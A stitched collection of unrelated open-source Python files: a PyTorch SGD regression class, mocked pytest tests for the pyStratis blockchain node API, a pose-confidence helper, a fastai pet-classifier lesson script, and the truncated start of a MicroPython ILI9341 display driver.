current_theta return current_theta def train(self): self.initialise_theta() error = 0.0001 for i in xrange(self.epochs_no): self.assign_batchs() print('') theta = self.epoch().double() print('Epoch - '+ str(i+1)) print('') return theta print(self.MSE(theta)) if self.MSE(theta) <= error: break print('### Training complete')

from .linear_torch import TorchGradientDescentAutogradRegression import torch, math, random class stochasticGradientDescent(TorchGradientDescentAutogradRegression): def __init__(self, X, Y, alpha, **kwargs): super(stochasticGradientDescent, self).__init__(X, Y, alpha, **kwargs) try: h = kwargs['batch_size'] self.iterations = int(self.Y.shape[0])/h self.batch_size = int(self.Y.shape[0])/self.iterations except: self.iterations = int(self.Y.shape[0]) self.batch_size = 1 try: self.epochs_no = kwargs['epochs_no'] except: self.epochs_no = 1 self.batches = None def assign_batchs(self): r = range(int(self.Y.shape[0])) random.shuffle(r, random.random) batches = list() for i in xrange(self.iterations): batches.append(r[i:i+self.batch_size]) self.batches = batches return batches def ForwardFunction(self, i): X = self.X[self.batches[i]] Y = self.Y[self.batches[i]] p = torch.mean((Y-X.mm(self.theta.double()))**2) #Loss function forward function self.objective = p return p def get_grads(self, i): self.initialise_theta() k = self.ForwardFunction(i) self.objective.backward() self.gradients = self.theta.grad return self.gradients def epoch(self): for i in xrange(self.iterations): self.update_theta(i) return self.theta def update_theta(self, i): h = self.get_grads(i) current_theta = self.theta.clone() #cloing theta so that we don't update in-place values current_theta -= self.gradients*self.alpha self.theta = current_theta return current_theta def train(self): self.initialise_theta() error = 0.0001 for i in xrange(self.epochs_no): self.assign_batchs() print('') theta = self.epoch().double() print('Epoch - '+ str(i+1)) print('') return theta print(self.MSE(theta)) if self.MSE(theta) <= error: break print('### Training complete')

pt

pystratis/api/node/tests/test_node.py

TjadenFroyda/pyStratis

13566

import pytest import ast from pytest_mock import MockerFixture from pystratis.api.node import Node from pystratis.api.node.responsemodels import * from pystratis.api import FullNodeState, FeatureInitializationState, LogRule from pystratis.core.networks import StraxMain, CirrusMain @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_status_no_publish(mocker: MockerFixture, network): data = { 'agent': 'nodeagent', 'version': 'nodeversion', 'externalAddress': '[::0.0.0.0]', 'network': network.name, 'coin_ticker': 'STRAX' if 'Strax' in network.name else 'CRS', 'processId': '0', 'consensusHeight': 10, 'blockStoreHeight': 10, 'bestPeerHeight': 10, 'inboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'outboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'featuresData': [ { 'namespace': 'node.feature', 'state': FeatureInitializationState.Initialized } ], 'dataDirectoryPath': '/my/data/dir', 'runningTime': 'a long time', 'difficulty': 100000.0000, 'protocolVersion': 123, 'testnet': False, 'relayFee': 0, 'state': FullNodeState.Initialized, 'inIbd': False, 'headerHeight': 1 } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.status(publish=False) assert response == StatusModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_status_publish(mocker: MockerFixture, network): data = { 'agent': 'nodeagent', 'version': 'nodeversion', 'externalAddress': '[::0.0.0.0]', 'network': network.name, 'coin_ticker': 'STRAX' if 'Strax' in network.name else 'CRS', 'processId': '0', 'consensusHeight': 10, 'blockStoreHeight': 10, 'bestPeerHeight': 10, 'inboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'outboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'featuresData': [ { 'namespace': 'node.feature', 'state': FeatureInitializationState.Initialized } ], 'dataDirectoryPath': '/my/data/dir', 'runningTime': 'a long time', 'difficulty': 100000.0000, 'protocolVersion': 123, 'testnet': False, 'relayFee': 0, 'state': FullNodeState.Initialized, 'inIbd': False, 'headerHeight': 1 } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.status(publish=True) assert response == StatusModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_blockheader(mocker: MockerFixture, network, generate_uint256): data = { 'version': 1, 'merkleroot': generate_uint256, 'nonce': 0, 'bits': 'bits', 'previousblockhash': generate_uint256, 'time': 1, } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_blockheader( block_hash=generate_uint256, is_json_format=True ) assert response == BlockHeaderModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_raw_transaction_verbose(mocker: MockerFixture, network, generate_coinbase_transaction, generate_uint256): trxid = generate_uint256 data = generate_coinbase_transaction(trxid) mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_raw_transaction(trxid=trxid, verbose=True) assert response == TransactionModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_raw_transaction_nonverbose(mocker: MockerFixture, network, generate_coinbase_transaction, generate_uint256): trxid = generate_uint256 data = generate_coinbase_transaction(trxid) hexified_data = bytes(str(data), 'ascii').hex() mocker.patch.object(Node, 'get', return_value=hexified_data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_raw_transaction(trxid=trxid, verbose=False) assert response == hexified_data unserialized_response = ast.literal_eval(bytes.fromhex(hexified_data).decode('ascii')) assert data == unserialized_response # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_decode_raw_transaction(mocker: MockerFixture, network, generate_uint256, generate_coinbase_transaction): trxid = generate_uint256 data = generate_coinbase_transaction(trxid) hexified_data = bytes(str(data), 'ascii').hex() mocker.patch.object(Node, 'post', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.decode_raw_transaction(raw_hex=hexified_data) assert response == TransactionModel(**data) # noinspection PyUnresolvedReferences node.post.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_validate_address(mocker: MockerFixture, network, generate_p2pkh_address): address = generate_p2pkh_address(network=network) data = { 'isvalid': True, 'address': address, 'scriptPubKey': 'a scriptPubKey', 'isscript': False, 'iswitness': False } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.validate_address(address=address) assert response == ValidateAddressModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_txout(mocker: MockerFixture, network, generate_uint256, generate_hexstring, generate_p2pkh_address): data = { 'bestblock': generate_uint256, 'confirmations': 1, 'value': 5, 'scriptPubKey': { 'asm': generate_hexstring(128), 'hex': generate_hexstring(128), 'type': 'pubkey', 'reqSigs': 1, "addresses": [ generate_p2pkh_address(network=network) ] }, 'coinbase': False } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_txout(trxid=generate_uint256, vout=0, include_mempool=False) assert response == GetTxOutModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_txout_proof(mocker: MockerFixture, network, generate_uint256, generate_hexstring): data = generate_hexstring(128) mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_txout_proof( txids=[ generate_uint256, generate_uint256 ], block_hash=generate_uint256 ) assert response == data # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_shutdown(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'post', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.shutdown() # noinspection PyUnresolvedReferences node.post.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_stop(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'post', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.stop() # noinspection PyUnresolvedReferences node.post.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_log_levels(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'put', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.log_levels(log_rules=[LogRule(rule_name='TestRule', log_level='Debug', filename='filename')]) # noinspection PyUnresolvedReferences node.put.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_log_rules(mocker: MockerFixture, network): data = [ { 'ruleName': 'TestRule', 'logLevel': 'Debug', 'filename': 'filename' } ] mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.log_rules() assert response == [LogRule(**x) for x in data] # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_async_loops(mocker: MockerFixture, network): data = [ { 'loopName': 'Loop1', 'status': 'Running' } ] mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.async_loops() assert response == [AsyncLoopsModel(**x) for x in data] # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_rewind(mocker: MockerFixture, network): data = "Rewind flag set, please restart the node." mocker.patch.object(Node, 'put', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.rewind(height=2) assert isinstance(response, str) # noinspection PyUnresolvedReferences node.put.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_delete_datafolder_chain(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'delete', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.delete_datafolder_chain() # noinspection PyUnresolvedReferences node.delete.assert_called_once()

import pytest import ast from pytest_mock import MockerFixture from pystratis.api.node import Node from pystratis.api.node.responsemodels import * from pystratis.api import FullNodeState, FeatureInitializationState, LogRule from pystratis.core.networks import StraxMain, CirrusMain @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_status_no_publish(mocker: MockerFixture, network): data = { 'agent': 'nodeagent', 'version': 'nodeversion', 'externalAddress': '[::0.0.0.0]', 'network': network.name, 'coin_ticker': 'STRAX' if 'Strax' in network.name else 'CRS', 'processId': '0', 'consensusHeight': 10, 'blockStoreHeight': 10, 'bestPeerHeight': 10, 'inboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'outboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'featuresData': [ { 'namespace': 'node.feature', 'state': FeatureInitializationState.Initialized } ], 'dataDirectoryPath': '/my/data/dir', 'runningTime': 'a long time', 'difficulty': 100000.0000, 'protocolVersion': 123, 'testnet': False, 'relayFee': 0, 'state': FullNodeState.Initialized, 'inIbd': False, 'headerHeight': 1 } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.status(publish=False) assert response == StatusModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_status_publish(mocker: MockerFixture, network): data = { 'agent': 'nodeagent', 'version': 'nodeversion', 'externalAddress': '[::0.0.0.0]', 'network': network.name, 'coin_ticker': 'STRAX' if 'Strax' in network.name else 'CRS', 'processId': '0', 'consensusHeight': 10, 'blockStoreHeight': 10, 'bestPeerHeight': 10, 'inboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'outboundPeers': [ { 'version': 1, 'remoteSocketEndpoint': '[::0.0.0.0]', 'tipHeight': 10 } ], 'featuresData': [ { 'namespace': 'node.feature', 'state': FeatureInitializationState.Initialized } ], 'dataDirectoryPath': '/my/data/dir', 'runningTime': 'a long time', 'difficulty': 100000.0000, 'protocolVersion': 123, 'testnet': False, 'relayFee': 0, 'state': FullNodeState.Initialized, 'inIbd': False, 'headerHeight': 1 } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.status(publish=True) assert response == StatusModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_blockheader(mocker: MockerFixture, network, generate_uint256): data = { 'version': 1, 'merkleroot': generate_uint256, 'nonce': 0, 'bits': 'bits', 'previousblockhash': generate_uint256, 'time': 1, } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_blockheader( block_hash=generate_uint256, is_json_format=True ) assert response == BlockHeaderModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_raw_transaction_verbose(mocker: MockerFixture, network, generate_coinbase_transaction, generate_uint256): trxid = generate_uint256 data = generate_coinbase_transaction(trxid) mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_raw_transaction(trxid=trxid, verbose=True) assert response == TransactionModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_raw_transaction_nonverbose(mocker: MockerFixture, network, generate_coinbase_transaction, generate_uint256): trxid = generate_uint256 data = generate_coinbase_transaction(trxid) hexified_data = bytes(str(data), 'ascii').hex() mocker.patch.object(Node, 'get', return_value=hexified_data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_raw_transaction(trxid=trxid, verbose=False) assert response == hexified_data unserialized_response = ast.literal_eval(bytes.fromhex(hexified_data).decode('ascii')) assert data == unserialized_response # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_decode_raw_transaction(mocker: MockerFixture, network, generate_uint256, generate_coinbase_transaction): trxid = generate_uint256 data = generate_coinbase_transaction(trxid) hexified_data = bytes(str(data), 'ascii').hex() mocker.patch.object(Node, 'post', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.decode_raw_transaction(raw_hex=hexified_data) assert response == TransactionModel(**data) # noinspection PyUnresolvedReferences node.post.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_validate_address(mocker: MockerFixture, network, generate_p2pkh_address): address = generate_p2pkh_address(network=network) data = { 'isvalid': True, 'address': address, 'scriptPubKey': 'a scriptPubKey', 'isscript': False, 'iswitness': False } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.validate_address(address=address) assert response == ValidateAddressModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_txout(mocker: MockerFixture, network, generate_uint256, generate_hexstring, generate_p2pkh_address): data = { 'bestblock': generate_uint256, 'confirmations': 1, 'value': 5, 'scriptPubKey': { 'asm': generate_hexstring(128), 'hex': generate_hexstring(128), 'type': 'pubkey', 'reqSigs': 1, "addresses": [ generate_p2pkh_address(network=network) ] }, 'coinbase': False } mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_txout(trxid=generate_uint256, vout=0, include_mempool=False) assert response == GetTxOutModel(**data) # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_get_txout_proof(mocker: MockerFixture, network, generate_uint256, generate_hexstring): data = generate_hexstring(128) mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.get_txout_proof( txids=[ generate_uint256, generate_uint256 ], block_hash=generate_uint256 ) assert response == data # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_shutdown(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'post', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.shutdown() # noinspection PyUnresolvedReferences node.post.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_stop(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'post', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.stop() # noinspection PyUnresolvedReferences node.post.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_log_levels(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'put', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.log_levels(log_rules=[LogRule(rule_name='TestRule', log_level='Debug', filename='filename')]) # noinspection PyUnresolvedReferences node.put.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_log_rules(mocker: MockerFixture, network): data = [ { 'ruleName': 'TestRule', 'logLevel': 'Debug', 'filename': 'filename' } ] mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.log_rules() assert response == [LogRule(**x) for x in data] # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_async_loops(mocker: MockerFixture, network): data = [ { 'loopName': 'Loop1', 'status': 'Running' } ] mocker.patch.object(Node, 'get', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.async_loops() assert response == [AsyncLoopsModel(**x) for x in data] # noinspection PyUnresolvedReferences node.get.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_rewind(mocker: MockerFixture, network): data = "Rewind flag set, please restart the node." mocker.patch.object(Node, 'put', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) response = node.rewind(height=2) assert isinstance(response, str) # noinspection PyUnresolvedReferences node.put.assert_called_once() @pytest.mark.parametrize('network', [StraxMain(), CirrusMain()], ids=['StraxMain', 'CirrusMain']) def test_delete_datafolder_chain(mocker: MockerFixture, network): data = None mocker.patch.object(Node, 'delete', return_value=data) node = Node(network=network, baseuri=mocker.MagicMock()) node.delete_datafolder_chain() # noinspection PyUnresolvedReferences node.delete.assert_called_once()

it

imapper/pose/confidence.py

amonszpart/iMapper

13567

import numpy as np def get_conf_thresholded(conf, thresh_log_conf, dtype_np): """Normalizes a confidence score to (0..1). Args: conf (float): Unnormalized confidence. dtype_np (type): Desired return type. Returns: confidence (np.float32): Normalized joint confidence. """ # 1. / (1. + np.exp(-5000. * conf + 5)) # https://www.desmos.com/calculator/olqbvoffua # + 9.5: 0.0019 => 0.5 # + 5 : 0.0010 => 0.5 # + 6.5: 0.0013 => 0.5 return np.where( conf < dtype_np(0.), dtype_np(0.), dtype_np(1.) / (dtype_np(1.) + np.exp(dtype_np(-5000.) * conf + dtype_np(9.5))) ).astype(dtype_np) def get_confs(query_2d_full, frame_id, thresh_log_conf, mx_conf, dtype_np): """ Args: query_2d_full (stealth.logic.skeleton.Skeleton): Skeleton with confidences. frame_id (int): Frame id. Returns: confs (List[float]): Confidences at frame_id. """ confs = np.zeros(query_2d_full.poses.shape[-1], dtype=dtype_np) is_normalized = query_2d_full.is_confidence_normalized() if query_2d_full.has_confidence(frame_id): for joint, conf in query_2d_full.confidence[frame_id].items(): cnf = dtype_np(conf) \ if is_normalized \ else get_conf_thresholded(conf, thresh_log_conf, dtype_np) if mx_conf is not None and mx_conf < cnf: mx_conf = dtype_np(cnf) confs[joint] = dtype_np(cnf) if mx_conf is None: return confs else: assert isinstance(mx_conf, dtype_np) return confs, mx_conf

import numpy as np def get_conf_thresholded(conf, thresh_log_conf, dtype_np): """Normalizes a confidence score to (0..1). Args: conf (float): Unnormalized confidence. dtype_np (type): Desired return type. Returns: confidence (np.float32): Normalized joint confidence. """ # 1. / (1. + np.exp(-5000. * conf + 5)) # https://www.desmos.com/calculator/olqbvoffua # + 9.5: 0.0019 => 0.5 # + 5 : 0.0010 => 0.5 # + 6.5: 0.0013 => 0.5 return np.where( conf < dtype_np(0.), dtype_np(0.), dtype_np(1.) / (dtype_np(1.) + np.exp(dtype_np(-5000.) * conf + dtype_np(9.5))) ).astype(dtype_np) def get_confs(query_2d_full, frame_id, thresh_log_conf, mx_conf, dtype_np): """ Args: query_2d_full (stealth.logic.skeleton.Skeleton): Skeleton with confidences. frame_id (int): Frame id. Returns: confs (List[float]): Confidences at frame_id. """ confs = np.zeros(query_2d_full.poses.shape[-1], dtype=dtype_np) is_normalized = query_2d_full.is_confidence_normalized() if query_2d_full.has_confidence(frame_id): for joint, conf in query_2d_full.confidence[frame_id].items(): cnf = dtype_np(conf) \ if is_normalized \ else get_conf_thresholded(conf, thresh_log_conf, dtype_np) if mx_conf is not None and mx_conf < cnf: mx_conf = dtype_np(cnf) confs[joint] = dtype_np(cnf) if mx_conf is None: return confs else: assert isinstance(mx_conf, dtype_np) return confs, mx_conf

fr

notes/lessons/lesson_1/dog_breed.py

jpenna/course-v3

13568

from fastai.vision import * from fastai.metrics import error_rate # First model using pet images ########################### ####### Get dataset ####### ########################### # Batch size bs = 64 # help(untar_data) # print(URLs.PETS) # URLs.PETS = https://s3.amazonaws.com/fast-ai-imageclas/oxford-iiit-pet # Downloads the images from a URL and untar it. Retruns a `path` object path = untar_data(URLs.PETS) path.ls() # List content in path path_anno = path/'annotations' path_img = path/'images' fnames = get_image_files(path_img) # Get image files in path # fnames[:5] np.random.seed(2) pattern = r'/([^/]+)_\d+.jpg$' # ImageDataBunch: all the data you need to create a model # How to get the labels? Check models.md#Labels for a few examples data = ImageDataBunch.from_name_re( path_img, fnames, pattern, ds_tfms=get_transforms(), # Transform images: crop, resize, padding size=224, bs=bs ) # Same name length, sizes, pixel values... data.normalize(imagenet_stats) data.show_batch(rows=3, figsize=(7,6)) # Check number of classes/labels print(data.classes) # Print labels len(data.classes) # Print count print(data.c) # Print count ########################### ######## Training ######### ########################### # Create the training object learn = cnn_learner(data, models.resnet34, metrics=error_rate) # Training model learn.model # Trains learn.fit_one_cycle(4) # Save result learn.save('stage-1') ########################### ######## Results ########## ########################### interp = ClassificationInterpretation.from_learner(learn) losses, idxs = interp.top_losses() len(data.valid_ds) == len(losses) == len(idxs) # Print top losses interp.plot_top_losses(9, figsize=(15,11)) doc(interp.plot_top_losses) # Print confusion matrix interp.plot_confusion_matrix(figsize=(12,12), dpi=60) # Show list of most confused categories interp.most_confused(min_val=2) ########################### ######## 2nd Round ######## ########################### # Unfreeze to train more learn.unfreeze() learn.fit_one_cycle(1) learn.load('stage-1') # Prepare chart learn.lr_find() # Plot chart learn.recorder.plot() learn.unfreeze() learn.fit_one_cycle(2, max_lr=slice(1e-6,1e-4)) ########################### ###### Change model ####### ########################### # Bigger images + smaller batch size data = ImageDataBunch.from_name_re(path_img, fnames, pattern, ds_tfms=get_transforms(), size=299, bs=bs//2).normalize(imagenet_stats) # Use resnet50 learn = cnn_learner(data, models.resnet50, metrics=error_rate) # Plot learn.lr_find() learn.recorder.plot() learn.fit_one_cycle(8) learn.save('stage-1-50') # Fine-tune learn.unfreeze() learn.fit_one_cycle(3, max_lr=slice(1e-6,1e-4)) # Use previous model if fine-tune did not help learn.load('stage-1-50') ########################### # Interpret results again # ########################### interp = ClassificationInterpretation.from_learner(learn) interp.most_confused(min_val=2)

from fastai.vision import * from fastai.metrics import error_rate # First model using pet images ########################### ####### Get dataset ####### ########################### # Batch size bs = 64 # help(untar_data) # print(URLs.PETS) # URLs.PETS = https://s3.amazonaws.com/fast-ai-imageclas/oxford-iiit-pet # Downloads the images from a URL and untar it. Retruns a `path` object path = untar_data(URLs.PETS) path.ls() # List content in path path_anno = path/'annotations' path_img = path/'images' fnames = get_image_files(path_img) # Get image files in path # fnames[:5] np.random.seed(2) pattern = r'/([^/]+)_\d+.jpg$' # ImageDataBunch: all the data you need to create a model # How to get the labels? Check models.md#Labels for a few examples data = ImageDataBunch.from_name_re( path_img, fnames, pattern, ds_tfms=get_transforms(), # Transform images: crop, resize, padding size=224, bs=bs ) # Same name length, sizes, pixel values... data.normalize(imagenet_stats) data.show_batch(rows=3, figsize=(7,6)) # Check number of classes/labels print(data.classes) # Print labels len(data.classes) # Print count print(data.c) # Print count ########################### ######## Training ######### ########################### # Create the training object learn = cnn_learner(data, models.resnet34, metrics=error_rate) # Training model learn.model # Trains learn.fit_one_cycle(4) # Save result learn.save('stage-1') ########################### ######## Results ########## ########################### interp = ClassificationInterpretation.from_learner(learn) losses, idxs = interp.top_losses() len(data.valid_ds) == len(losses) == len(idxs) # Print top losses interp.plot_top_losses(9, figsize=(15,11)) doc(interp.plot_top_losses) # Print confusion matrix interp.plot_confusion_matrix(figsize=(12,12), dpi=60) # Show list of most confused categories interp.most_confused(min_val=2) ########################### ######## 2nd Round ######## ########################### # Unfreeze to train more learn.unfreeze() learn.fit_one_cycle(1) learn.load('stage-1') # Prepare chart learn.lr_find() # Plot chart learn.recorder.plot() learn.unfreeze() learn.fit_one_cycle(2, max_lr=slice(1e-6,1e-4)) ########################### ###### Change model ####### ########################### # Bigger images + smaller batch size data = ImageDataBunch.from_name_re(path_img, fnames, pattern, ds_tfms=get_transforms(), size=299, bs=bs//2).normalize(imagenet_stats) # Use resnet50 learn = cnn_learner(data, models.resnet50, metrics=error_rate) # Plot learn.lr_find() learn.recorder.plot() learn.fit_one_cycle(8) learn.save('stage-1-50') # Fine-tune learn.unfreeze() learn.fit_one_cycle(3, max_lr=slice(1e-6,1e-4)) # Use previous model if fine-tune did not help learn.load('stage-1-50') ########################### # Interpret results again # ########################### interp = ClassificationInterpretation.from_learner(learn) interp.most_confused(min_val=2)

it

Day 1/Demos/ili934xnew.py

thingslu/IoT-Bootcamp

13569

""" Copyright (c) 2017 <NAME> https://github.com/jeffmer/micropython-ili9341 Jan 6, 2018 MIT License https://github.com/jeffmer/micropython-ili9341/blob/master/LICENSE """ # This is an adapted version of the ILI934X driver as below. # It works with multiple fonts and also works with the esp32 H/W SPI implementation # Also includes a word wrap print function # Proportional fonts are generated by Peter Hinch's Font-to-py # MIT License; Copyright (c) 2017 <NAME> # This file is part of MicroPython ILI934X driver # Copyright (c) 2016 - 2017 <NAME>, <NAME> # # Licensed under the MIT license: # http://www.opensource.org/licenses/mit-license.php # # Project home: # https://github.com/tuupola/micropython-ili934x import time import ustruct import tt32 import framebuf from micropython import const _RDDSDR = const(0x0f) # Read Display Self-Diagnostic Result _SLPOUT = const(0x11) # Sleep Out _GAMSET = const(0x26) # Gamma Set _DISPOFF = const(0x28) # Display Off _DISPON = const(0x29) # Display On _CASET = const(0x2a) # Column Address Set _PASET = const(0x2b) # Page Address Set _RAMWR = const(0x2c) # Memory Write _RAMRD = const(0x2e) # Memory Read _MADCTL = const(0x36) # Memory Access Control _VSCRSADD = const(0x37) # Vertical Scrolling Start Address _PIXSET = const(0x3a) # Pixel Format Set _PWCTRLA = const(0xcb) # Power Control A _PWCRTLB = const(0xcf) # Power Control B _DTCTRLA = const(0xe8) # Driver Timing Control A _DTCTRLB = const(0xea) # Driver Timing Control B _PWRONCTRL = const(0xed) # Power on Sequence Control _PRCTRL = const(0xf7) # Pump Ratio Control _PWCTRL1 = const(0xc0) # Power Control 1 _PWCTRL2 = const(0xc1) # Power Control 2 _VMCTRL1 = const(0xc5) # VCOM Control 1 _VMCTRL2 = const(0xc7) # VCOM Control 2 _FRMCTR1 = const(0xb1) # Frame Rate Control 1 _DISCTRL = const(0xb6) # Display Function Control _ENA3G = const(0xf2) # Enable 3G _PGAMCTRL = const(0xe0) # Positive Gamma Control _NGAMCTRL = const(0xe1) # Negative Gamma Control _CHUNK = const(1024) #maximum number of pixels per spi write def color565(r, g, b): return (r & 0xf8) << 8 | (g & 0xfc) << 3 | b >> 3 class ILI9341: width = 320 height = 240 def __init__(self, spi, cs, dc, rst): self.spi = spi self.cs = cs self.dc = dc self.rst = rst self.cs.init(self.cs.OUT, value=1) self.dc.init(self.dc.OUT, value=0) self.rst.init(self.rst.OUT, value=0) self.reset() self.init() self._scroll = 0 self._buf = bytearray(_CHUNK * 2) self._colormap = bytearray(b'\x00\x00\xFF\xFF') #default white foregraound, black background self._x = 0 self._y = 0 self._font = tt32 self.scrolling = False def set_color(self,fg,bg): self._colormap[0] = bg>>8 self._colormap[1] = bg & 255 self._colormap[2] = fg>>8 self._colormap[3] = fg & 255 def set_pos(self,x,y): self._x = 